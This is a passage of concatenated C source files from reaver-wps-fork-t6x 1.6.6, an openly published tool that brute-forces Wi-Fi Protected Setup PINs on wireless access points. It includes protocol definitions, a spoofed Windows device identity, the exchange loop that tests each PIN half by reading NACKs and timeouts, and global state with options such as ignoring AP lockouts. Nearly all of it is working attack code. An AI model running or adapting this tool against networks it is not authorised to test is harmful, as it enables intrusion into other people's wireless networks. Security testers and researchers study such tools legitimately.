&ts_expiry); #endif /* UNICODE */ if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - " "0x%x", __func__, (unsigned int) status); return -1; } return 0; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } reaver-wps-fork-t6x-1.6.6/src/defs.h000066400000000000000000000245331363372615500172000ustar00rootroot00000000000000/* * Reaver - Common definitions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef DEFS_H #define DEFS_H #include #include #include #include #include #include #include #include "utils/endianness.h" #include "wps.h" #include "cprintf.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #define DEFAULT_MAX_NUM_PROBES 15 #define MAX_ASSOC_FAILURES 10 #define TIMESTAMP_LEN 8 #define MAC_ADDR_LEN 6 #define SSID_TAG_NUMBER 0 #define RATES_TAG_NUMBER 1 #define CHANNEL_TAG_NUMBER 3 #define WPS_TAG_NUMBER 0xDD #define VENDOR_SPECIFIC_TAG 0xDD #define RSN_TAG_NUMBER 0x30 #define HT_CAPS_TAG_NUMBER 0x2d #define CAPABILITY_WEP 0x10 #define WPA_IE_ID "\x00\x50\xF2\x01\x01\x00" #define WPA_IE_ID_LEN 6 #define MANAGEMENT_FRAME 0x00 #define SUBTYPE_BEACON 0x08 #define DOT1X_AUTHENTICATION 0x888E #define DOT1X_EAP_PACKET 0x00 #define SIMPLE_CONFIG 0x00000001 #define P1_SIZE 10000 #define P2_SIZE 1000 #define EAPOL_START_MAX_TRIES 10 #define WARN_FAILURE_COUNT 10 #define EAPOL_START 1 #define EAP_IDENTITY 0x01 #define EAP_EXPANDED 0xFE #define M57_DEFAULT_TIMEOUT 400000 /* uSeconds */ #define M57_MAX_TIMEOUT 1000000 /* uSeconds */ #define DEFAULT_DELAY 1 /* Seconds */ #define DEFAULT_TIMEOUT 10 /* Seconds */ #define DEFAULT_LOCK_DELAY 60 /* Seconds */ #define SEC_TO_US 1000000 /* uSeconds in a Second */ #define WPS_DEVICE_NAME "Glau" #define WPS_MANUFACTURER "Microsoft" #define WPS_MODEL_NAME "Windows" #define WPS_MODEL_NUMBER "6.1.7601" #define WPS_DEVICE_TYPE "\x00\x01\x00\x50\xF2\x04\x00\x01" #define WPS_OS_VERSION "\x01\x00\x06\x00" #define WPS_RF_BANDS 0x01 enum encryption_type { NONE, WEP, WPA }; enum key_state { KEY1_WIP = 0, KEY2_WIP = 1, KEY_DONE = 2 }; enum eap_codes { EAP_REQUEST = 1, EAP_RESPONSE = 2, EAP_SUCCESS = 3, EAP_FAILURE = 4 }; enum wps_result { KEY_ACCEPTED = 0, KEY_REJECTED = 1, RX_TIMEOUT = 2, EAP_FAIL = 3, UNKNOWN_ERROR = 4 }; enum nack_code { NO_NACK = -1, NO_ERROR = 0, OOB_RRAD_ERROR = 1, CRC_FAILURE = 2, CHANNEL_24_NS = 3, CHANNEL_50_NS = 4, WEAK_SIGNAL = 5, NET_AUTH_FAILURE = 6, NET_ASSOCIATION_FAILURE = 7, NO_DHCP_RESPONSE = 8, FAILED_DHCP_CONFIG = 9, IP_ADDR_CONFLICT = 10, REGISTRAR_CONNECT_FAILURE = 11, MULTIPLE_PBC = 12, ROGUE_ACTIVITY = 13, DEVICE_BUSY = 14, SETUP_LOCKED = 15, MESSAGE_TIMEOUT = 16, REGISTRATION_TIMEOUT = 17, AUTH_FAILURE = 18 }; enum wps_type { TERMINATE = -1, UNKNOWN = 0, IDENTITY_REQUEST = 1, IDENTITY_RESPONSE = 2, M1 = 0x04, M2 = 0x05, M3 = 0x07, M4 = 0x08, M5 = 0x09, M6 = 0x0A, M7 = 0x0B, M8 = 0x0C, DONE = 0x0F, NACK = 0x0E, WPS_PT_DEAUTH = 0xFF }; enum wfa_elements { AP_CHANNEL = 0x1001, ASSOCIATION_STATE = 0x1002, AUTHENTICATION_TYPE = 0x1003, AUTHENTICATION_TYPE_FLAGS = 0x1004, AUTHENTICATOR = 0x1005, CONFIG_METHODS = 0x1008, CONFIGURATION_ERROR = 0x1009, CONFIRMATION_URL_4 = 0x100A, CONFIRMATION_URL_6 = 0x100B, CONNECTION_TYPE = 0x100C, CONNECTION_TYPE_FLAGS = 0x100D, CREDENTIAL = 0x100E, DEVICE_NAME = 0x1011, DEVICE_PASSWORD_ID = 0x1012, ENROLLEE_HASH_1 = 0x1014, ENROLLEE_HASH_2 = 0x1015, ENROLLEE_SNONCE_1 = 0x1016, ENROLLEE_SNONCE_2 = 0x1017, ENCRYPTED_SETTINGS = 0x1018, ENCRYPTION_TYPE = 0x100F, ENCRYPTION_TYPE_FLAGS = 0x1010, ENROLLEE_NONCE = 0x101A, FEATURE_ID = 0x101B, IDENTITY = 0x101C, IDENTITY_PROOF = 0x101D, KEY_WRAP_AUTHENTICATOR = 0x101E, KEY_IDENTIFIER = 0x101F, MAC_ADDRESS = 0x1020, MANUFACTURER = 0x1021, MESSAGE_TYPE = 0x1022, MODEL_NAME = 0x1023, MODEL_NUMBER = 0x1024, NETWORK_INDEX = 0x1026, NETWORK_KEY = 0x1027, NETWORK_KEY_INDEX = 0x1028, NEW_DEVICE_NAME = 0x1029, NEW_PASSWORD = 0x102A, OOB_DEVICE_PASSWORD = 0x102C, OS_VERSION = 0x102D, POWER_LEVEL = 0x102F, PSK_CURRENT = 0x1030, PSK_MAX = 0x1031, PUBLIC_KEY = 0x1032, RADIO_ENABLED = 0x1033, REBOOT = 0x1034, REGISTRAR_CURRENT = 0x1035, REGISTRAR_ESTABLISHED = 0x1036, REGISTRAR_LIST = 0x1037, REGISTRAR_MAX = 0x1038, REGISTRAR_NONCE = 0x1039, REQUEST_TYPE = 0x103A, RESPONSE_TYPE = 0x103B, RF_BANDS = 0x103C, REGISTRAR_HASH_1 = 0x103D, REGISTRAR_HASH_2 = 0x103E, REGISTRAR_SNONCE_1 = 0x103F, REGISTRAR_SNONCE_2 = 0x1040, SELECTED_REGISTRAR = 0x1041, SERIAL_NUMBER = 0x1042, WPS_STATE = 0x1044, SSID = 0x1045, TOTAL_NETWORKS = 0x1046, ENROLLEE_UUID = 0x1047, REGISTRAR_UUID = 0x1048, VENDOR_EXTENSION = 0x1049, VERSION = 0x104A, X509_CERT_REQUEST = 0x104B, X509_CERT = 0x104C, WPS_EAP_IDENTITY = 0x104D, MESSAGE_COUNTER = 0x104E, PUBLIC_KEY_HASH = 0x104F, REKEY_KEY = 0x1050, KEY_LIFETIME = 0x1051, PERMITTED_CONFIG_METHODS = 0x1052, SELECTED_REGISTRAR_CONFIG_METHODS = 0x1053, PRIMARY_DEVICE_TYPE = 0x1054, SECONDARY_DEVICE_TYPE_LIST = 0x1055, PORTABLE_DEVICE = 0x1056, AP_SETUP_LOCKED = 0x1057, APPLICATION_EXTENSION = 0x1058, EAP_TYPE = 0x1059, INITIALIZATION_VECTOR = 0x1060, KEY_PROVIDED_AUTOMATICALLY = 0x1061, ENABLED_8021X = 0x1062, APP_SESSION_KEY = 0x1063, WEP_TRANSMIT_KEY = 0x10064 }; #define IEEE80211_FCTL_VERS 0x0003 #define IEEE80211_FCTL_FTYPE 0x000c #define IEEE80211_FCTL_STYPE 0x00f0 #define IEEE80211_FCTL_TODS 0x0100 #define IEEE80211_FCTL_FROMDS 0x0200 #define IEEE80211_FCTL_MOREFRAGS 0x0400 #define IEEE80211_FCTL_RETRY 0x0800 #define IEEE80211_FCTL_PM 0x1000 #define IEEE80211_FCTL_MOREDATA 0x2000 #define IEEE80211_FCTL_PROTECTED 0x4000 #define IEEE80211_FCTL_ORDER 0x8000 #define IEEE80211_SCTL_FRAG 0x000F #define IEEE80211_SCTL_SEQ 0xFFF0 #define IEEE80211_FTYPE_MGMT 0x0000 #define IEEE80211_FTYPE_CTL 0x0004 #define IEEE80211_FTYPE_DATA 0x0008 /* management */ #define IEEE80211_STYPE_ASSOC_REQ 0x0000 #define IEEE80211_STYPE_ASSOC_RESP 0x0010 #define IEEE80211_STYPE_REASSOC_REQ 0x0020 #define IEEE80211_STYPE_REASSOC_RESP 0x0030 #define IEEE80211_STYPE_PROBE_REQ 0x0040 #define IEEE80211_STYPE_PROBE_RESP 0x0050 #define IEEE80211_STYPE_BEACON 0x0080 #define IEEE80211_STYPE_ATIM 0x0090 #define IEEE80211_STYPE_DISASSOC 0x00A0 #define IEEE80211_STYPE_AUTH 0x00B0 #define IEEE80211_STYPE_DEAUTH 0x00C0 #define IEEE80211_STYPE_ACTION 0x00D0 /* control */ #define IEEE80211_STYPE_BACK_REQ 0x0080 #define IEEE80211_STYPE_BACK 0x0090 #define IEEE80211_STYPE_PSPOLL 0x00A0 #define IEEE80211_STYPE_RTS 0x00B0 #define IEEE80211_STYPE_CTS 0x00C0 #define IEEE80211_STYPE_ACK 0x00D0 #define IEEE80211_STYPE_CFEND 0x00E0 #define IEEE80211_STYPE_CFENDACK 0x00F0 /* data */ #define IEEE80211_STYPE_DATA 0x0000 #define IEEE80211_STYPE_DATA_CFACK 0x0010 #define IEEE80211_STYPE_DATA_CFPOLL 0x0020 #define IEEE80211_STYPE_DATA_CFACKPOLL 0x0030 #define IEEE80211_STYPE_NULLFUNC 0x0040 #define IEEE80211_STYPE_CFACK 0x0050 #define IEEE80211_STYPE_CFPOLL 0x0060 #define IEEE80211_STYPE_CFACKPOLL 0x0070 #define IEEE80211_STYPE_QOS_DATA 0x0080 #define IEEE80211_STYPE_QOS_DATA_CFACK 0x0090 #define IEEE80211_STYPE_QOS_DATA_CFPOLL 0x00A0 #define IEEE80211_STYPE_QOS_DATA_CFACKPOLL 0x00B0 #define IEEE80211_STYPE_QOS_NULLFUNC 0x00C0 #define IEEE80211_STYPE_QOS_CFACK 0x00D0 #define IEEE80211_STYPE_QOS_CFPOLL 0x00E0 #define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0 /* these types denote that the values are stored in a specific byte order */ #ifndef LE16_DEFINED #define LE16_DEFINED typedef uint16_t le16; typedef uint32_t le32; typedef uint16_t be16; typedef uint32_t be32; #endif #pragma pack(1) struct radio_tap_header { uint8_t revision; uint8_t pad; le16 len; le32 flags; #ifdef RADIOTAP_HEADER_WITH_RATE uint8_t rate; uint8_t pad2; #endif le16 txflags; }; struct dot11_frame_header { le16 fc; le16 duration; unsigned char addr1[MAC_ADDR_LEN]; unsigned char addr2[MAC_ADDR_LEN]; unsigned char addr3[MAC_ADDR_LEN]; le16 frag_seq; }; struct authentication_management_frame { le16 algorithm; le16 sequence; le16 status; }; struct association_request_management_frame { le16 capability; le16 listen_interval; }; struct association_response_management_frame { le16 capability; le16 status; le16 id; }; struct beacon_management_frame { unsigned char timestamp[TIMESTAMP_LEN]; le16 beacon_interval; le16 capability; }; struct llc_header { uint8_t dsap; uint8_t ssap; uint8_t control_field; unsigned char org_code[3]; be16 type; }; struct dot1X_header { uint8_t version; uint8_t type; uint16_t len; }; struct eap_header { uint8_t code; uint8_t id; uint16_t len; uint8_t type; }; struct wfa_expanded_header { unsigned char id[3]; be32 type; uint8_t opcode; uint8_t flags; }; struct wfa_element_header { uint16_t type; uint16_t length; }; struct tagged_parameter { uint8_t number; uint8_t len; }; #pragma pack() #define MIN_BEACON_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) #endif reaver-wps-fork-t6x-1.6.6/src/exchange.c000066400000000000000000000371621363372615500200360ustar00rootroot00000000000000/* * Reaver - WPS exchange functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "exchange.h" /* Main loop to listen for packets on a wireless card in monitor mode. */ enum wps_result do_wps_exchange() { struct pcap_pkthdr header; const u_char *packet = NULL; enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN; enum wps_result ret_val = KEY_ACCEPTED; int premature_timeout = 0, terminated = 0, got_nack = 0; int id_response_sent = 0, tx_type = 0; int m2_sent = 0, m4_sent = 0, m6_sent = 0; int deauth_flag = 0; /* Initialize settings for this WPS exchange */ set_last_wps_state(0); set_eap_id(0); /* Initiate an EAP session */ send_eapol_start(); /* * Loop until: * * o The pin has been cracked * o An EAP_FAIL packet is received * o We receive a NACK message * o We hit an unrecoverable receive timeout */ while((get_key_status() != KEY_DONE) && !terminated && !got_nack && !premature_timeout) { tx_type = 0; if(packet_type != WPS_PT_DEAUTH && packet_type > last_msg) { last_msg = packet_type; } packet = next_packet(&header); if(packet == NULL) break; packet_type = process_packet(packet, &header); memset((void *) packet, 0, header.len); if(packet_type != UNKNOWN) switch(packet_type) { case WPS_PT_DEAUTH: if(!deauth_flag) cprintf(VERBOSE, "[+] Received deauth request\n"); deauth_flag = 1; break; case IDENTITY_REQUEST: cprintf(VERBOSE, "[+] Received identity request\n"); tx_type = IDENTITY_RESPONSE; id_response_sent = 1; break; case M1: cprintf(VERBOSE, "[+] Received M1 message\n"); if(id_response_sent && !m2_sent) { tx_type = SEND_M2; m2_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M3: cprintf(VERBOSE, "[+] Received M3 message\n"); if(m2_sent && !m4_sent) { tx_type = SEND_M4; m4_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M5: cprintf(VERBOSE, "[+] Received M5 message\n"); if(get_key_status() == KEY1_WIP) { set_key_status(KEY2_WIP); } if(m4_sent && !m6_sent) { tx_type = SEND_M6; m6_sent = 1; } else if(m6_sent && get_repeat_m6()) { tx_type = SEND_M6; m6_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M7: cprintf(VERBOSE, "[+] Received M7 message\n"); /* Fall through */ case DONE: if(get_key_status() == KEY2_WIP) { set_key_status(KEY_DONE); } tx_type = SEND_WSC_NACK; break; case NACK: cprintf(VERBOSE, "[+] Received WSC NACK\n"); got_nack = 1; break; case TERMINATE: cprintf(VERBOSE, "[+] Received EAP_FAILURE message\n"); terminated = 1; break; default: cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type); terminated = 1; break; } if(packet_type != UNKNOWN && packet_type != WPS_PT_DEAUTH) deauth_flag = 0; else if(packet_type == WPS_PT_DEAUTH) continue; if(tx_type == IDENTITY_RESPONSE) { send_identity_response(); } else if(tx_type) { send_msg(tx_type); } /* * If get_oo_send_nack is 0, then when out of order packets come, we don't * NACK them. However, this also means that we wait infinitely for the expected * packet, since the timer is started by send_msg. Manually start the timer to * prevent infinite loops. */ else if(packet_type != 0) { start_timer(); } /* Check to see if our receive timeout has expired */ if(get_out_of_time()) { /* If we have not sent an identity response, try to initiate an EAP session again */ if(!id_response_sent) { /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */ if(get_eapol_start_count() == EAPOL_START_MAX_TRIES) { cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES); set_eapol_start_count(0); premature_timeout = 1; } send_eapol_start(); deauth_flag = 0; } else { /* Treat all other time outs as unexpected errors */ premature_timeout = 1; } } } /* * There are four states that can signify a pin failure: * * o Got NACK instead of an M5 message (first half of pin wrong) * o Got NACK instead of an M7 message (second half of pin wrong) * o Got receive timeout while waiting for an M5 message (first half of pin wrong) * o Got receive timeout while waiting for an M7 message (second half of pin wrong) */ if(got_nack) { /* * If a NACK message was received, then the current wps->state value will be * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the * previous state to see what state we were in when the NACK was received. */ if(last_msg == M3 || last_msg == M5) { /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */ set_timeout_is_nack(0); ret_val = KEY_REJECTED; } else { ret_val = UNKNOWN_ERROR; } } else if(premature_timeout) { /* * Some WPS implementations simply drop the connection on the floor instead of sending a NACK. * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled. * Only treat the timeout as a NACK if this feature is enabled. */ if(get_timeout_is_nack() && (last_msg == M3 || last_msg == M5)) { ret_val = KEY_REJECTED; } else { /* If we timed out at any other point in the session, then we need to try the pin again */ ret_val = RX_TIMEOUT; } } /* * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again. */ else if(terminated) { ret_val = EAP_FAIL; } else if(get_key_status() != KEY_DONE) { ret_val = UNKNOWN_ERROR; } /* * Always completely terminate the WPS session, else some WPS state machines may * get stuck in their current state and won't accept new WPS registrar requests * until rebooted. * * Stop the receive timer that is started by the termination transmission. */ send_wsc_nack(); stop_timer(); if(get_eap_terminate() || ret_val == EAP_FAIL) { send_termination(); stop_timer(); } return ret_val; } static int is_data_packet(struct dot11_frame_header *frame_header) { int fctype = frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE); if (fctype == end_htole16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA)) return 1; if (fctype == end_htole16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_QOS_DATA)) return 2; return 0; } static int is_packet_for_us(struct dot11_frame_header *frame_header) { return ( (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0) ); } static int is_deauth_packet(struct dot11_frame_header *frame_header) { int fcstype = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE); return (fcstype == end_htole16(IEEE80211_STYPE_DEAUTH)); } /* * Processes incoming packets looking for EAP and WPS messages. * Responsible for stopping the timer when a valid EAP packet is received. * Returns the type of WPS message received, if any. */ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct llc_header *llc = NULL; struct dot1X_header *dot1x = NULL; struct eap_header *eap = NULL; struct wfa_expanded_header *wfa = NULL; const void *wps_msg = NULL; size_t wps_msg_len = 0; struct wps_data *wps = NULL; if(packet == NULL || header == NULL) { return UNKNOWN; } else if(header->len < MIN_PACKET_SIZE) { return UNKNOWN; } /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */ rt_header = (struct radio_tap_header *) packet; size_t offset = end_le16toh(rt_header->len); frame_header = (struct dot11_frame_header *) (packet+offset); offset += sizeof(struct dot11_frame_header); /* Does the BSSID/source address match our target BSSID? */ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) != 0) return UNKNOWN; /* Is this a packet sent to our MAC address? */ if(!is_packet_for_us(frame_header)) return UNKNOWN; if(is_deauth_packet(frame_header)) return WPS_PT_DEAUTH; int data_pkt_type; /* Is this a data packet ? */ if(!(data_pkt_type = is_data_packet(frame_header))) return UNKNOWN; if(data_pkt_type == 2) /* QOS */ offset += 2; llc = (struct llc_header *) (packet + offset); offset += sizeof(struct llc_header); /* All packets in our exchanges will be 802.1x */ if(llc->type != end_htobe16(DOT1X_AUTHENTICATION)) return UNKNOWN; dot1x = (struct dot1X_header *) (packet + offset); offset += sizeof(struct dot1X_header); /* All packets in our exchanges will be EAP packets */ if(!(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE))) return UNKNOWN; eap = (struct eap_header *) (packet + offset); offset += sizeof(struct eap_header); /* EAP session termination. Break and move on. */ if(eap->code == EAP_FAILURE) return TERMINATE; /* If we've received an EAP request and then this should be a WPS message */ if(eap->code != EAP_REQUEST) return UNKNOWN; /* The EAP header builder needs this ID value */ set_eap_id(eap->id); /* Stop the receive timer that was started by the last send_packet() */ stop_timer(); /* Check to see if we received an EAP identity request */ if(eap->type == EAP_IDENTITY) { /* We've initiated an EAP session, so reset the counter */ set_eapol_start_count(0); return IDENTITY_REQUEST; } /* An expanded EAP type indicates a probable WPS message */ if(!((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE))) return UNKNOWN; wfa = (struct wfa_expanded_header *) (packet + offset); offset += sizeof(struct wfa_expanded_header); /* Verify that this is a WPS message */ if(wfa->type != end_htobe32(SIMPLE_CONFIG)) return UNKNOWN; wps_msg_len = (size_t) ntohs(eap->len) - sizeof(struct eap_header) - sizeof(struct wfa_expanded_header); wps_msg = (const void *) (packet + offset); /* Save the current WPS state. This way if we get a NACK message, we can * determine what state we were in when the NACK arrived. */ wps = get_wps(); set_last_wps_state(wps->state); set_opcode(wfa->opcode); /* Process the WPS message and send a response */ return process_wps_message(wps_msg, wps_msg_len); } /* Processes a received WPS message and returns the message type */ enum wps_type process_wps_message(const void *data, size_t data_size) { const struct wpabuf *msg = NULL; enum wps_type type = UNKNOWN; struct wps_data *wps = get_wps(); unsigned char *element_data = NULL; struct wfa_element_header element = { 0 }; int i = 0, header_size = sizeof(struct wfa_element_header); /* Shove data into a wpabuf structure for processing */ msg = wpabuf_alloc_copy(data, data_size); if(msg) { /* Process the incoming message */ wps_registrar_process_msg(wps, get_opcode(), msg); wpabuf_free((struct wpabuf *) msg); /* Loop through until we hit the end of the data buffer */ for(i=0; i= 0) { if(attr.config_error) { ret_val = WPA_GET_BE16(attr.config_error); } } wpabuf_free((struct wpabuf *) msg); } return ret_val; } #ifdef EX_TEST #include "wpsmon.h" int main(int argc, char** argv) { globule_init(); // arg 1: filename of cap set_handle(capture_init(argv[1])); if(!get_handle()) { cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface()); goto end; } //arg 2: "our" mac for testing unsigned char mac[6]; str2mac(argv[2], mac); set_mac(mac); //arg 3: bssid of "target" AP str2mac(argv[3], mac); set_bssid(mac); struct pcap_pkthdr header; const unsigned char *packet; enum wps_type packet_type = UNKNOWN; unsigned long packet_number = 0; while((packet = next_packet(&header))) { packet_number++; packet_type = process_packet(packet, &header); switch(packet_type) { case UNKNOWN: dprintf(2, "UNK\n"); break; case WPS_PT_DEAUTH: dprintf(2, "DEAUTH\n"); break; } } end: globule_deinit(); return 0; } #endif reaver-wps-fork-t6x-1.6.6/src/exchange.h000066400000000000000000000046311363372615500200360ustar00rootroot00000000000000/* * Reaver - WPS exchange functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef EXCHANGE_H #define EXCHANGE_H #include #include "defs.h" #include "globule.h" #include "send.h" #include "misc.h" #include "80211.h" #define DATA_FRAME 0x02 #define SUBTYPE_DATA 0x00 #define MIN_PACKET_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header)) #define EAP_PACKET_SIZE (MIN_PACKET_SIZE + sizeof(struct eap_header)) #define WFA_PACKET_SIZE (EAP_PACKET_SIZE + sizeof(struct wfa_expanded_header)) #define MAX_MESSAGE_RETRIES 3 enum wps_result do_wps_exchange(); enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header); enum wps_type process_wps_message(const void *data, size_t data_size); int parse_nack(const void *data, size_t data_size); #endif reaver-wps-fork-t6x-1.6.6/src/globule.c000066400000000000000000000263611363372615500177040ustar00rootroot00000000000000/* * Reaver - Global variable access functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "globule.h" struct globals *globule; int globule_init() { int ret = 0; globule = malloc(sizeof(struct globals)); if(globule) { memset(globule, 0, sizeof(struct globals)); ret = 1; globule->resend_timeout_usec = 200000; globule->output_fd = -1; } return ret; } void globule_deinit() { int i = 0; if(globule) { for(i=0; ip1[i]) free(globule->p1[i]); } for(i=0; ip2[i]) free(globule->p2[i]); } if(globule->wps) wps_deinit(globule->wps); if(globule->handle) pcap_close(globule->handle); if(globule->pin) free(globule->pin); if(globule->iface) free(globule->iface); if(globule->ssid) free(globule->ssid); if(globule->session) free(globule->session); if(globule->static_p1) free(globule->static_p1); if(globule->static_p2) free(globule->static_p2); if(globule->fp) fclose(globule->fp); if(globule->exec_string) free(globule->exec_string); if(globule->output_fd != -1) close(globule->output_fd); free(globule); } } void set_log_file(FILE *fp) { globule->fp = fp; } FILE *get_log_file(void) { return globule->fp; } void set_last_wps_state(int state) { globule->last_wps_state = state; } int get_last_wps_state() { return globule->last_wps_state; } void set_session(char *value) { if(globule->session) free(globule->session); globule->session = (value) ? strdup(value) : NULL; } char *get_session() { return globule->session; } void set_p1_index(int index) { if(index < P1_SIZE) { globule->p1_index = index; } } int get_p1_index() { return globule->p1_index; } void set_p2_index(int index) { if(index < P2_SIZE) { globule->p2_index = index; } } int get_p2_index() { return globule->p2_index; } void set_p1(int index, char *value) { if(index < P1_SIZE) { if(globule->p1[index]) free(globule->p1[index]); globule->p1[index] = (value) ? strdup(value) : NULL; } } char *get_p1(int index) { if(index < P1_SIZE) { return globule->p1[index]; } return NULL; } void set_p2(int index, char *value) { if(index < P2_SIZE) { if(globule->p2[index]) free(globule->p2[index]); globule->p2[index] = (value) ? strdup(value) : NULL; } } char *get_p2(int index) { if(index < P2_SIZE) { return globule->p2[index]; } return NULL; } void set_key_status(enum key_state status) { globule->key_status = status; } enum key_state get_key_status() { return globule->key_status; } void set_delay(int delay) { globule->delay = delay; } int get_delay() { return globule->delay; } void set_fail_delay(int delay) { globule->fail_delay = delay; } int get_fail_delay() { return globule->fail_delay; } void set_validate_fcs(int validate) { globule->validate_fcs = validate; } int get_validate_fcs(void) { return globule->validate_fcs; } void set_recurring_delay(int delay) { globule->recurring_delay = delay; } int get_recurring_delay() { return globule->recurring_delay; } void set_recurring_delay_count(int value) { globule->recurring_delay_count = value; } int get_recurring_delay_count() { return globule->recurring_delay_count; } void set_lock_delay(int value) { globule->lock_delay = value; } int get_lock_delay() { return globule->lock_delay; } void set_ignore_locks(int value) { globule->ignore_locks = value; } int get_ignore_locks() { return globule->ignore_locks; } void set_eap_terminate(int value) { globule->eap_terminate = value; } int get_eap_terminate() { return globule->eap_terminate; } void set_max_pin_attempts(int value) { globule->max_pin_attempts = value; } int get_max_pin_attempts() { return globule->max_pin_attempts; } void set_max_num_probes(int value) { globule->max_num_probes = value; } int get_max_num_probes() { return globule->max_num_probes; } void set_rx_timeout(int value) { globule->rx_timeout = value; } int get_rx_timeout() { return 